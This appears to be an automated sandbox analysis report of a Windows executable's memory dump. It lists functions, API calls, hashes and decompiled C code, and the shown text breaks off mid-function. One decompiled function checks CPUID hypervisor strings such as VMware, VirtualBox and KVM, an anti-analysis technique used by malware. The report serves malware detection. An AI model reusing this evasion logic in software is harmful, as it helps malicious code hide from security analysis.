Opcode ID: 80681aed1ebbdbf9e37771f6e4a181b27628dd189edb97250e841e296d38d27b
Instruction ID: c60173b9f30aed35b07b92e7144c1115af7263850a4d9f9e5fa1a6372c7f02d1
Opcode Fuzzy Hash: 80681aed1ebbdbf9e37771f6e4a181b27628dd189edb97250e841e296d38d27b
Instruction Fuzzy Hash: B7F0F43510460036C3223B2B6C09FEB13259FD17B6B25022FF41892392EF2D8E0291BD

Uniqueness

Uniqueness Score: -1.00%

Function 004B8FE6, Relevance: 3.0, APIs: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,004AA674,00000002,004AA674,00000000,004AA674,00000001,00000000,00000000,?,004B9095,004AA674,004AA674,00000002,00000000), ref: 004B901F
__dosmaperr.LIBCMT ref: 004B9030

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FilePointer__dosmaperr
String ID:
API String ID: 3262615654-0
Opcode ID: cdc005b76707da5a3fdb160953819838f5749220ede2db25dedb10ea2b992ba0
Instruction ID: d9d2db35772d593e7c981c635a08fd90c60763fcf8e7a05b4c1ba2196bb7a96e
Opcode Fuzzy Hash: cdc005b76707da5a3fdb160953819838f5749220ede2db25dedb10ea2b992ba0
Instruction Fuzzy Hash: E00168326145187FCB059F6ADC408EF3B2AEB86320B24035AF9018B280EA359C128BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0048902D, Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0042AB17: __EH_prolog3.LIBCMT ref: 0042AB1E

__EH_prolog3.LIBCMT ref: 00489054
std::locale::_Locimp::_Locimp_ctor.LIBCPMT ref: 004890A6

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3$Locimp::_Locimp_ctorstd::locale::_
String ID:
API String ID: 522788814-0
Opcode ID: b2d04ec7ccd064c4bade7a7915ea1a14bf0b4e01221d86d1b09a43ce4e299121
Instruction ID: 609e2260fd298483a782d2d30822bde7939955fc64f8a47351091dd77b3156ed
Opcode Fuzzy Hash: b2d04ec7ccd064c4bade7a7915ea1a14bf0b4e01221d86d1b09a43ce4e299121
Instruction Fuzzy Hash: AE11CEB0900B49AFC710EF6AC440A8AFBF4AF18304B00C56EE59883652D774E644CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0049AC63, Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0049AC6A
_Getvals.LIBCPMT ref: 0049AC86

Part of subcall function 0049949B: __Getcvt.LIBCPMT ref: 004994AD
Part of subcall function 0049949B: std::_Locinfo::_Getdays.LIBCPMT ref: 004994C6
Part of subcall function 0049949B: std::_Locinfo::_Getmonths.LIBCPMT ref: 004994DF

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Locinfo::_std::_$GetcvtGetdaysGetmonthsGetvalsH_prolog3
String ID:
API String ID: 709374646-0
Opcode ID: f401b8afaa9081548fec08260a0ccf86d67736ce9aa82fcf709980b8a386d4e8
Instruction ID: 76ab1cc204ad277cf790a4266ca1458fd6aa7a5997ee1d172ca83afbd5284663
Opcode Fuzzy Hash: f401b8afaa9081548fec08260a0ccf86d67736ce9aa82fcf709980b8a386d4e8
Instruction Fuzzy Hash: 35E0ECF0D007049FCF20EF7A840161ABEF1BF04704B00893FA5A6C7701D7789A008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00492C14, Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00492C1B
_Getvals.LIBCPMT ref: 00492C37

Part of subcall function 0048BC47: __Getcvt.LIBCPMT ref: 0048BC56
Part of subcall function 0048BC47: std::_Locinfo::_W_Getdays.LIBCPMT ref: 0048BC69
Part of subcall function 0048BC47: std::_Locinfo::_W_Getmonths.LIBCPMT ref: 0048BC7B

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Locinfo::_std::_$GetcvtGetdaysGetmonthsGetvalsH_prolog3
String ID:
API String ID: 709374646-0
Opcode ID: 303455d585c587aa713ae0b64db389f73ea7316533bf6273594239151e2663b1
Instruction ID: 39269b2ae3415c1fda5c60de7bbc9b1fbed32b3b2afe091f72c2af17987d7170
Opcode Fuzzy Hash: 303455d585c587aa713ae0b64db389f73ea7316533bf6273594239151e2663b1
Instruction Fuzzy Hash: 99E0B6F0D007049FCB24EF7A840261ABEF5AF04304B00893FA5A6C7601D77896008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004384DC, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,00000000,00000000), ref: 0043855F

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9d3a638cbf3fa7ad9675427c27a566b3e249542f6da8023172fa6b75c9e9d538
Instruction ID: 7888dbb48d0deadb994a1a1ebbf2c1508fcd02696938e2dc5877689eda986515
Opcode Fuzzy Hash: 9d3a638cbf3fa7ad9675427c27a566b3e249542f6da8023172fa6b75c9e9d538
Instruction Fuzzy Hash: E811A571600215BFEB048F65FC84D7BBAACEB48395750103EB907D2211DE749D10DA68

Uniqueness

Uniqueness Score: -1.00%

Function 004BB397, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 004BB3D5

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 2c10468269b1ab8e19733710d797b50e8ae4661bc8e6b0d63e18906ef6ddf239
Instruction ID: 08115e15f90c600a55345117ea14690c9b3b8fa16ddf1c0c17d1e15c734de36c
Opcode Fuzzy Hash: 2c10468269b1ab8e19733710d797b50e8ae4661bc8e6b0d63e18906ef6ddf239
Instruction Fuzzy Hash: 9D11367190420AAFCB05DF59E9409DB7BF8EF48304F00406AFC08AB312D671E9218BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004A9E0D, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8677afb4cdaecb1433d7731f8887c1c495c32bfa64a06d6d25baffb49828167b
Instruction ID: f6d9c7aabced4142f7750d5c23595e27225db8add3f0b2e21cef285754c30188
Opcode Fuzzy Hash: 8677afb4cdaecb1433d7731f8887c1c495c32bfa64a06d6d25baffb49828167b
Instruction Fuzzy Hash: 54F0F472900A1056CA317A7B9C01A9B32988FB3378F10471BF421962C3CB7C9C0286BF

Uniqueness

Uniqueness Score: -1.00%

Function 0042B4DD, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0042B4E4

Part of subcall function 0042B0D7: __EH_prolog3.LIBCMT ref: 0042B0DE
Part of subcall function 0042B0D7: std::_Lockit::_Lockit.LIBCPMT ref: 0042B0EB
Part of subcall function 0042B0D7: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0042B13C

Part of subcall function 0042B499: __EH_prolog3.LIBCMT ref: 0042B4A0
Part of subcall function 0042B499: __Getctype.LIBCPMT ref: 0042B4C0

Part of subcall function 0042B15C: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0042B18E
Part of subcall function 0042B15C: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B21A

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$H_prolog3$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID:
API String ID: 3700104213-0
Opcode ID: 4057b9f2e20e1231f029faabb3bf536c5b5a0214e3db78850a5eda65bc329fe9
Instruction ID: 9e87b0466a654d51ed717156fe1aa16b9ce5c6af72877dce7abcc874efe72c30
Opcode Fuzzy Hash: 4057b9f2e20e1231f029faabb3bf536c5b5a0214e3db78850a5eda65bc329fe9
Instruction Fuzzy Hash: 610144B1A00319DACF10EFA9D89279DBB70FF44754FA0466FB125A72C1CB785A01C798

Uniqueness

Uniqueness Score: -1.00%

Function 004B1B82, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 004B2F72: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004B3649,00000001,00000364,?,004AADF3,004E8890,00000010), ref: 004B2FB3

_free.LIBCMT ref: 004B1BA2

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateFree_free
String ID:
API String ID: 2784253671-0
Opcode ID: 48e3e2c54d13805096218aa5b7e39bb9a52bbc855e06a66c9bcf5259d47b0e79
Instruction ID: 3590d8b69831cb7f3e5c2e1d6d2ade56b024a762c023daca3ca033137ecf6d53
Opcode Fuzzy Hash: 48e3e2c54d13805096218aa5b7e39bb9a52bbc855e06a66c9bcf5259d47b0e79
Instruction Fuzzy Hash: 66F03C71A04209AFC310DF69C542B9AB7F4FB48710F10416BE918E7341E775AA108BE5

Uniqueness

Uniqueness Score: -1.00%

Function 004B2F72, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004B3649,00000001,00000364,?,004AADF3,004E8890,00000010), ref: 004B2FB3

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ca23d797807c8c1653de12cb30f492c3cd3c2327c1761bc63c89d39908bb7947
Instruction ID: 814e874a66a304bc54667ad23078e37bb06c9f8517dff74dbc2af21a5f255a83
Opcode Fuzzy Hash: ca23d797807c8c1653de12cb30f492c3cd3c2327c1761bc63c89d39908bb7947
Instruction Fuzzy Hash: 1DF0E9316041216BDB216A629E09FFB7778AF51760B144223FC04DB388CBB8DC01A2FC

Uniqueness

Uniqueness Score: -1.00%

Function 004C1FE0, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004C2021

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 46cbe1521d11c4f8aa15e3888fe767836981a3dd4acc9b8ad7fb78b9a918fd65
Instruction ID: 3640a560bbb497f6f1a3e858b0da2481f43d17f82925ea2d86ee18bea973f33e
Opcode Fuzzy Hash: 46cbe1521d11c4f8aa15e3888fe767836981a3dd4acc9b8ad7fb78b9a918fd65
Instruction Fuzzy Hash: 9AF09A3A410009BBCF115E9ADD01DEF7B69EF89324F10011BFE1492050DABACA21E7A4

Uniqueness

Uniqueness Score: -1.00%

Function 004B84D4, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 004B3009: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

_free.LIBCMT ref: 004B84F4

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateFree_free
String ID:
API String ID: 2784253671-0
Opcode ID: e3597f89f24ceafffc4df9fc21f554d6393e83129595a89f945b109acdbceb5d
Instruction ID: f086f7f719bda3272919297820ab0dff29b2ae4f68269dccc13757d2b61e3206
Opcode Fuzzy Hash: e3597f89f24ceafffc4df9fc21f554d6393e83129595a89f945b109acdbceb5d
Instruction Fuzzy Hash: 6AF062710057049FD7349F11D841792B7FCEF04715F10842FE29A8B691DB78B544CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004B3009, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: deed60d1610bc0232ec50c4714b6350813f53c1a698db842715f9ecf29e5d884
Instruction ID: 8d747d84a442c24b64d8b1a2952e442fc8bda9735a41b62449694b540e0bbcff
Opcode Fuzzy Hash: deed60d1610bc0232ec50c4714b6350813f53c1a698db842715f9ecf29e5d884
Instruction Fuzzy Hash: 67E0ED252402215BEB323E2B9C05BEB3A5C9F42BA2F110123FC559628ACB6CDE0181FD

Uniqueness

Uniqueness Score: -1.00%

Function 004AAE82, Relevance: 1.5, APIs: 1, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004B369F: _free.LIBCMT ref: 004B36D9

FreeLibraryAndExitThread.KERNEL32(?,?,?,?,004AAFB4,?,?,004AAE2B,00000000), ref: 004AAED2

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitFreeLibraryThread_free
String ID:
API String ID: 2210149398-0
Opcode ID: 9810cde5d8caa70e261cae8f1b40db7f21c20f5b3738968fef222fc01693cdae
Instruction ID: f85d0011c9d6113551f714cbc55add30502266cf7d3d4c78badd48501831349d
Opcode Fuzzy Hash: 9810cde5d8caa70e261cae8f1b40db7f21c20f5b3738968fef222fc01693cdae
Instruction Fuzzy Hash: 9CF0E2301403006BCB629F35CC0CA6B7B98AF52365F154716F869C33A1DB38DC61C6AA

Uniqueness

Uniqueness Score: -1.00%

Function 0042CE52, Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042CE69

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: dbc42efef067eca205d12d162b20e86befcd95f1def56f6450c93a1d100501b7
Instruction ID: 2eb0282fe1c6891d17d58e664d170d25e2802814794deabebe1e5b6a43b387f4
Opcode Fuzzy Hash: dbc42efef067eca205d12d162b20e86befcd95f1def56f6450c93a1d100501b7
Instruction Fuzzy Hash: 4AD05B323051116BD3046619D4057BAA79EAFD5325F05011FF14087181DBF46C5543F5

Uniqueness

Uniqueness Score: -1.00%

Function 004C1D1F, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,004C20FA,?,?,00000000,?,004C20FA,00000000,0000000C), ref: 004C1D3C

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8c0ace9f6479a9408fd5a04cf5319de070908fcdbb9995ed9a71c7c87d315486
Instruction ID: 77a87769d2922ab1aa08fa2c4765cde3081cc8ea7699ff4b09f262fb826255c5
Opcode Fuzzy Hash: 8c0ace9f6479a9408fd5a04cf5319de070908fcdbb9995ed9a71c7c87d315486
Instruction Fuzzy Hash: 35D06C3200010DBFDF128F84ED06EDA3BAAFB88714F014010BA1896021C732E831EB94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00438696, Relevance: 7.6, Strings: 6, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00438696(intOrPtr __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				char _v72;
				char _v84;
				char _v88;
				char* _v92;
				char* _v96;
				char* _v100;
				char* _v104;
				char* _v108;
				char* _v112;
				signed int _t20;
				void* _t28;
				void* _t31;
				signed int _t44;
				intOrPtr* _t47;
				signed int _t50;
				void* _t51;
				void* _t52;

				_t20 =  *0x4eb018; // 0xf39dfde0
				_v8 = _t20 ^ _t50;
				asm("movaps xmm0, [0x427880]");
				_push(__ebx);
				asm("movups [ebp-0x54], xmm0");
				_t47 =  &_v88;
				_v112 = L"KVMKVMKVM";
				_v108 = L"Microsoft Hv";
				asm("cpuid");
				 *_t47 = 0x40000000;
				_t44 = 0;
				 *((intOrPtr*)(_t47 + 4)) = __ebx;
				 *((intOrPtr*)(_t47 + 8)) = 0;
				_v104 = L"VMwareVMware";
				_v100 = L"XenVMMXenVMM";
				_v96 = L"prl hyperv  ";
				_v92 = L"VBoxVBoxVBox";
				 *((intOrPtr*)(_t47 + 0xc)) = __edx;
				L0049FB10(0,  &_v72, 0, 0x40);
				E0049F570( &_v72,  &_v84, 0xc);
				_t52 = _t51 + 0x18;
				do {
					_t28 = E004581FE(0);
					_t36 = _t28;
					if(_t28 == 0) {
						goto L3;
					} else {
						_t31 = E004AC312(_t28, _t36,  *((intOrPtr*)(_t50 + _t44 * 4 - 0x6c)));
						L004A5B7B(_t36);
						_t52 = _t52 + 0xc;
						if(_t31 != 0) {
							goto L3;
						}
					}
					L5:
					return L0049CE1D(_v8 ^ _t50);
					L3:
					_t44 = _t44 + 1;
				} while (_t44 < 6);
				goto L5;
			}

0x0043869c
0x004386a3
0x004386a6
0x004386af
0x004386b2
0x004386b6
0x004386b9
0x004386c5
0x004386cc
0x004386ce
0x004386d0
0x004386d4
0x004386db
0x004386df
0x004386e6
0x004386ed
0x004386f4
0x004386fb
0x004386fe
0x0043870d
0x00438712
0x00438715
0x00438718
0x0043871d
0x00438721
0x00000000
0x00438723
0x00438728
0x00438730
0x00438735
0x0043873a
0x00000000
0x00000000
0x0043873a
0x00438744
0x00438752
0x0043873c
0x0043873c
0x0043873d
0x00000000

Strings

XenVMMXenVMM, xrefs: 004386E6
Microsoft Hv, xrefs: 004386C5
VMwareVMware, xrefs: 004386DF
prl hyperv , xrefs: 004386ED
VBoxVBoxVBox, xrefs: 004386F4
KVMKVMKVM, xrefs: 004386B9

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: KVMKVMKVM$Microsoft Hv$VBoxVBoxVBox$VMwareVMware$XenVMMXenVMM$prl hyperv
API String ID: 0-642888547
Opcode ID: 993487a36ee2dca65cd00738d82c7374a501bfd2630f613d6f3d7073e2afcf8d
Instruction ID: 2c8174c4dc435a945022d74faaa771820768a3d757ee15a78210c07fce50f33d
Opcode Fuzzy Hash: 993487a36ee2dca65cd00738d82c7374a501bfd2630f613d6f3d7073e2afcf8d
Instruction Fuzzy Hash: A9218471E003489ADB10DFE5CD859DEB7F8AF44304F10853EE516AB215EB78A949CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0048B007, Relevance: 1.5, APIs: 1, Instructions: 15timeCOMMON

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00489F47,?,?,?,?,0043814B,F39DFDE0,00000000,?,?,?,?,004C6430,000000FF), ref: 0048B020

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 7e19a0cd02b057a5834a22b81979d75ccf5cefadf5809eea2a0af9b0358bb3a6
Instruction ID: f7b7dc79603946aed887c1d186e63834c701c73459e55f8bbf0e878563023600
Opcode Fuzzy Hash: 7e19a0cd02b057a5834a22b81979d75ccf5cefadf5809eea2a0af9b0358bb3a6
Instruction Fuzzy Hash: FCD01232905139DBCA123B94FC484FEBB58EF86B513054072EA055B222CF765C11DBDD

Uniqueness

Uniqueness Score: -1.00%

Function 004A444D, Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 004A45BD

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: cbce82b7b50d0f5aca05d962c796dc84b761ec9d128d299cfcd3230878add3ed
Instruction ID: 2ba6a9ca342895d905675f0c28ce66f57ad5cd073d91438cbad9b89e8aae922a
Opcode Fuzzy Hash: cbce82b7b50d0f5aca05d962c796dc84b761ec9d128d299cfcd3230878add3ed
Instruction Fuzzy Hash: 4D5165A1A006446BDF348D6985567FF23C9ABF7304F18081BE682DB782D6CCDE02935E

Uniqueness

Uniqueness Score: -1.00%

Function 004A467C, Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 004A47EC

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 2b81db936462972ee829b94ab5dc0764fa6cb3d918e9829f13f4cbf37ca56ce8
Instruction ID: 343148e507c1749beeb234781265bbac7ed1b960cfd6a130eeab8a14422394ce
Opcode Fuzzy Hash: 2b81db936462972ee829b94ab5dc0764fa6cb3d918e9829f13f4cbf37ca56ce8
Instruction Fuzzy Hash: 18514569604A849BDB34996885567FF23C99BF3304F18091FE482CB782C7CDEE46875E

Uniqueness

Uniqueness Score: -1.00%

Function 0043C25A, Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39ad3a17e25be2b0100436f8c26b8982af79ed032257c72ce15dfd95292bbee7
Instruction ID: 0e6ddc0a07e9a5153989ce95f1d01ba5910f1e102814b9c5c16ed60a29becf35
Opcode Fuzzy Hash: 39ad3a17e25be2b0100436f8c26b8982af79ed032257c72ce15dfd95292bbee7
Instruction Fuzzy Hash: D512B2B3B547144BD70CCE1DCCA23AAB2D3ABD4218F0E453DB44AD3345EE79D9198689

Uniqueness

Uniqueness Score: -1.00%

Function 004B5179, Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4005f605d3fbf8067b1c9c761a2023099653416c96149d5fd01b908395ed5b92
Instruction ID: 63960df4c15401e0fb295717b3af796cf180409be6cbec9c6c7f23499c39117d
Opcode Fuzzy Hash: 4005f605d3fbf8067b1c9c761a2023099653416c96149d5fd01b908395ed5b92
Instruction Fuzzy Hash: 7C323822D29F414DD7239638DD22336A249AFB73D4F15D737E81AB5AAAEF38C4834105

Uniqueness

Uniqueness Score: -1.00%

Function 0043865F, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88372051f017c5bf043178af136925ef495b466c4ad18f02f019001dbc2e48
Instruction ID: f806e8b762083dca8181b49f826a94bf69936ea6000fe717ade9226518f1eb44
Opcode Fuzzy Hash: 1b88372051f017c5bf043178af136925ef495b466c4ad18f02f019001dbc2e48
Instruction Fuzzy Hash: ADE04F73914A14AB9724DFADD8424ABFBF8EA48210740C86ED5AAE3521E170F4468A41

Uniqueness

Uniqueness Score: -1.00%

Function 004AE54D, Relevance: 21.3, APIs: 14, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E004AE54D(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				char _v21;
				intOrPtr _v22;
				signed short _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				intOrPtr* _v44;
				signed int _v48;
				void* _v52;
				signed int* _v56;
				intOrPtr _v60;
				intOrPtr* _v64;
				signed int* _v68;
				void* _v72;
				char _v76;
				signed int _t101;
				intOrPtr* _t106;
				signed int _t123;
				signed short _t126;
				void* _t130;
				void* _t134;
				void* _t137;
				void* _t138;
				intOrPtr _t139;
				void* _t141;
				signed int _t142;
				intOrPtr* _t143;
				signed char _t160;
				signed char _t165;
				signed int _t166;
				void* _t168;
				signed int _t170;
				intOrPtr _t172;
				void* _t179;
				signed int* _t180;
				signed int* _t181;
				signed int _t182;
				signed char* _t189;
				signed char* _t190;
				void* _t192;
				signed int _t194;
				intOrPtr _t197;
				short* _t209;
				intOrPtr* _t211;
				intOrPtr* _t215;
				signed int _t216;
				signed int _t217;
				void* _t218;
				void* _t219;

				_t101 =  *0x4eb018; // 0xf39dfde0
				_v8 = _t101 ^ _t217;
				_t211 = _a4;
				_t170 = 0;
				_v64 = _t211;
				_v32 = 0;
				_t172 =  *((intOrPtr*)(_t211 + 0xa8));
				_v36 = 0;
				_v40 = 0;
				_v52 = 0;
				_v76 = _t211;
				_v72 = 0;
				if(_t172 == 0) {
					__eflags =  *(_t211 + 0x8c);
					if( *(_t211 + 0x8c) != 0) {
						asm("lock dec dword [eax]");
					}
					 *(_t211 + 0x8c) = _t170;
					__eflags = 0;
					 *(_t211 + 0x90) = _t170;
					 *_t211 = 0x4060d8;
					 *((intOrPtr*)(_t211 + 0x94)) = 0x406358;
					 *((intOrPtr*)(_t211 + 0x98)) = 0x4064d8;
					 *((intOrPtr*)(_t211 + 4)) = 1;
					L41:
					return L0049CE1D(_v8 ^ _t217);
				}
				_t106 = _t211 + 8;
				_v44 = 0;
				if( *_t106 != 0) {
					L3:
					_v44 = E004B2F72(_t172, 1, 4);
					E004B2FCF(_t170);
					_v32 = E004B2F72(_t172, 0x180, 2);
					E004B2FCF(_t170);
					_v36 = E004B2F72(_t172, 0x180, 1);
					E004B2FCF(_t170);
					_v40 = E004B2F72(_t172, 0x180, 1);
					E004B2FCF(_t170);
					_t197 = E004B2F72(_t172, 0x101, 1);
					_v52 = _t197;
					E004B2FCF(_t170);
					_t219 = _t218 + 0x3c;
					if(_v44 == _t170 || _v32 == _t170 || _t197 == 0 || _v36 == _t170 || _v40 == _t170) {
						L36:
						E004B2FCF(_v44);
						E004B2FCF(_v32);
						E004B2FCF(_v36);
						E004B2FCF(_v40);
						_t170 = 1;
						__eflags = 1;
						goto L37;
					} else {
						_t123 = _t170;
						do {
							 *(_t123 + _t197) = _t123;
							_t123 = _t123 + 1;
						} while (_t123 < 0x100);
						_push( &_v28);
						_push( *((intOrPtr*)(_t211 + 8)));
						if( *0x4f01e0() == 0) {
							goto L36;
						}
						_t126 = _v28;
						_t235 = _t126 - 5;
						if(_t126 > 5) {
							goto L36;
						}
						_t28 = _t197 + 1; // 0x1
						_v48 = _t126 & 0x0000ffff;
						_t130 = L004B9950(_t170, _t197, _t211, _t235, _t170,  *((intOrPtr*)(_t211 + 0xa8)), 0x100, _t28, 0xff, _v36 + 0x81, 0xff,  *((intOrPtr*)(_t211 + 8)), _t170);
						_t219 = _t219 + 0x24;
						_t236 = _t130;
						if(_t130 == 0) {
							goto L36;
						}
						_t34 = _t197 + 1; // 0x1
						_t134 = L004B9950(_t170, _t197, _t211, _t236, _t170,  *((intOrPtr*)(_t211 + 0xa8)), 0x200, _t34, 0xff, _v40 + 0x81, 0xff,  *((intOrPtr*)(_t211 + 8)), _t170);
						_t219 = _t219 + 0x24;
						if(_t134 == 0) {
							goto L36;
						}
						if(_v48 <= 1 || _v22 == _t170) {
							L22:
							_v60 = _v32 + 0x100;
							_t137 = L004BAE04(_t170, _t197, _t211, _t170, 1, _t197, 0x100, _v32 + 0x100,  *((intOrPtr*)(_t211 + 8)), _t170);
							_t219 = _t219 + 0x1c;
							if(_t137 == 0) {
								goto L36;
							}
							_t192 = _v32;
							_t138 = _t192 + 0xfe;
							 *_t138 = 0;
							_t179 = _v36;
							_v32 = _t138;
							_t139 = _v40;
							 *(_t179 + 0x7f) = _t170;
							_t180 = _t179 - 0xffffff80;
							 *(_t139 + 0x7f) = _t170;
							_v68 = _t180;
							 *_t180 = _t170;
							_t181 = _t139 + 0x80;
							_v56 = _t181;
							 *_t181 = _t170;
							if(_v48 <= 1 || _v22 == _t170) {
								L32:
								_t182 = 0x3f;
								memcpy(_t192, _t192 + 0x200, _t182 << 2);
								_push(0x1f);
								asm("movsw");
								_t141 = memcpy(_v36, _v36 + 0x100, 0 << 2);
								_push(0x1f);
								asm("movsw");
								asm("movsb");
